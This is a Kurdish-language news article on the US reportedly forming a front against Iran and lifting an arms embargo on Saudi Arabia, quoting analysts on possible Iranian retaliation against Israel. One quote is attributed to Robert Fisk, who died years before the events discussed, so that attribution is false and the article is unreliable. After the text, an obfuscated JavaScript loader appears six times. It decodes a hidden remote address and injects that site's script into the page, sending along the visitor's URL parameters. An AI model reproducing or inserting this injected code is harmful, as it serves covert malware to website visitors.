ئەمریکا دڤێت بەرەیەکێ نوو ل دژی ئیرانێ دروست بکەت

ب، سه‌رجان مەحمود:

گەفێن ئیرانێ یێن بۆ ئێرشکرنا سەر ئسرائیلێ بەردەوامن و ل هەمبەر دا ئەمریکا ژی کار بۆ ئاڤاکرنا بەرەیەکێ نوو و بهێز ل دژی ئیرانێ دکەت و وەکو پێنگاڤا ئێکێ ژی ئەمریکا دۆرپێچا کڕینا چەکی ل سەر عەرەبستانا سعوودیێ راکر و دێ چەکێن گران و مودێرن دەتە عەرەبستانێ، چاڤدێرێن سیاسی ژی دبێژن دێ رەوشا رۆژهەلاتا ناڤین گەلەک یا ئالۆز بیت.

رۆبرت فیسک بسپۆرێ کاروبارێن رۆژهەلاتا ناڤین د داخۆیانیەکێ دا بۆ مالپەرێ ئیندێپێندێنت دیار کر، نها رۆژهەلاتا ناڤین بەر ب شەڕەکێ مەزن ڤە دچیت، هەرچەندە هندەک ژ بەرپرسێن ئەمریکا دبێژین وان گەف ل ئیرانێ کرینە کو چو ئێرشان نەکەتە سەر ئسرائیلێ، لێ رەوش گەلەک جودایە، چونکی کوشتنا ئیسماعیل هەنییە ل تەهرانێ دربەکا مەزن بوو ل ئیرانێ کەفتی، ئسرائیلێ ب کوشتنا هەنییە ل تەهرانێ ئەڤ پەیامە دا وی وەلاتی کو هەر دەمێ وان بڤێت دشێن ل هەر جهەکێ دربێن کوژەک ل ئیرانێ بدەن، ژ بەر ڤێ یەکێ ژی نها بەرپرسێن ئیرانێ دخوازن دەست ب ئێرشەکێ ل دژی ئسرائیلێ بکەن، ئانکۆ یا ئیرانێ دڤێت بکەت د راستی دا پتر بۆ پاراستنا پێگەهێ خوە یە و هەروەسا دڤێت ڤێ پەیامێ ژی بدەتە نەیارێن خوە کو ئەو هێشتا یا بهێزە و گۆت: (بێگومان رەوشا ناڤخوەیی یا ئیرانێ ژی گەلەک خرابە، سالا بۆری خوەنیشادانێن مەزن ل دژی دەستهەلاتێ هاتنە کرن، ل ئالیێ دی رەوشا ژیانا خەلکی ژی گەلەک خرابە، قەیرانەکا مەزن یا ئابووری هەیە، بەرپرسێن ئیرانێ وەسا هزر دکەن هەکە ئەو بەرسڤا ئسرائیلێ نەدەن دێ ئسرائیل ئێرشێن دی ژی کەت، چونکی رۆژانە ل سووریێ و لوبنانێ بەرپرسێن سەربازی و هەوالگری یێن ئیرانێ ژ ئالیێ ئسرائیلێ ڤە دهێنە کوشتن).
ناڤهاتی ئەو یەک ژی دیار کر، نها گەلەک ژ وەلاتێن عەرەبی ئیرانێ وکو ێ خوە دبینن، ب تایبەتی ژی وەلاتەک وەکو عەرەبستانا سعوودیێ کو نها خوەدان پێگەهەک گەلەک بهێز یێ ئابووری یە، ژ بەر ڤێ یەکێ ژی ئەمریکا دڤێت بەرەیەکێ بهێز ل دژی ئیرانێ دروست بکەت، دۆرپێچا چەکی یا بەری نها ئەمریکا ل سەر عەرەبستانا سعوودی دانابوو نها راکر، هەروەسا ئەمریکا دڤێت چەکێ گران و مودێرن ژی بدەتە عەرەبستانێ، ئەو یەک ژی پێنگاڤێن گرنگن دا ئەمریکا بشێت ژ هەموو ئالیان ڤە ئیرانێ دۆرپێچ و لاواز بکەت.
پاتریک کۆکبورن نڤیسەر و ڤەکۆلەرێ ناڤدار ژی راگەهاند، ئەمریکا ژ بۆ پاراستنا پێگەهێ خوە ل رۆژهەلاتا ناڤین و جیهانێ نەچارە ئسرائیلێ پارێزیت و ل ئالیێ دی ئیرا و گرپن چەکدارێن سەر ب وێ ژی بۆ ئەمریکا و هەڤپەیمانێن وێ مەترسینە، بەری نها عەرەبستانا سعوودی و چەندین وەلاتێن دی یێن عەرەبی داخواز ژ ئەمریکا کربوون ل دژی ئیرانێ چەکێ گران بدەتە وان و هاریکاریا وان بهێتە کرن، لێ ئیدارا جۆ بایدن د چەند سالێن بۆری دا دڤیا ل گەل ئیرانێ هندەک پرسێن هەی چارەسەر بکەت، ئەو یەک ژی ب دلێ عەرەبستانێ و وەلاتێن دی یێن عەرەبی نەبوو، ل هەمبەر بزاڤێن ئەمریکا ژی عەرەبستانێ خوە نێزیکی چینێ کر، لێ دیارە نها ئەمریکا جارەکا دی بەرێ خوە دا عەرەبستانا سعوودی و دڤێت ل گەل وی وەلاتی دەست ب قۆناغەکا نوو بکەت، راکرنا دۆرپێچا چەکی ل سەر سعوودیێ د دەمەکێ وەا هەستیار دا پەیاما ئاشکرا یا ئەمریکا یە بۆ ئیرانێ.
ل ئالیێ دی دوهی هەر یەک ژ ئەمریکا، بریتانیا، فرەنسا، ئەلمانیا، ئیتالیا و ئوسترالیا داخواز ژ ئیرانێ کرن کو چو ئێرشان نەکەت و نەبیتە ئەگەرێ ئالۆزیێن نوو و وەزیرێ دەرڤە یێ ئەمریکا ژی ب رەنگەکێ ئاشکرا دیار کر هەکە ئیران ئێرشی ئسرائیلێ بکەت ئەو دێ ب هەموو شیانێن خوە ئسرائیلێ پارێزن و بۆ ئیرانێ باشترە خوە ژ کارەکێ وەسا مەترسیدار دوور بکەت.
هندەک ژ چاڤدێرێن سیاسی ل ئیرانێ ژی دیار دکەن، د ناڤ سوپای پاسداران و بەرپرسێن دەولەتێ دا بریارەکا ئێکگرتی بۆ ئێرشا ل سەر ئسرائیلێ نینە، هندەک ژ فەرماندارێن سەربازی و سیاەتمەداێن وی ەای وەسا دبینن هەکە نها ئێرشی ئسرائیلێ بکەن دێ ئەمریکا و هەڤپەیمانێن وێ شێن دربێن مەزن ل ئیرانێ بدەن و ژ بەر ڤێ یەکێ ژی ناخوازن ئیران ئێرشی ئسرائیلێ بکەت، لێ کەسێن نێزیکی رێبەرێ شۆرەشا ئیسلامی یا ئیرانێ ژی وەسا دبینن هەکە ئیران بەرسڤا ئسرائیلێ نەدەت دێ پێگەهێ خوە ژ دەست دەت و ئێدی د ئاستێ رۆژهەلاتا ناڤین و جیهانێ دا چو حسابەک بۆ ئیرانێ ناهێتە کرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە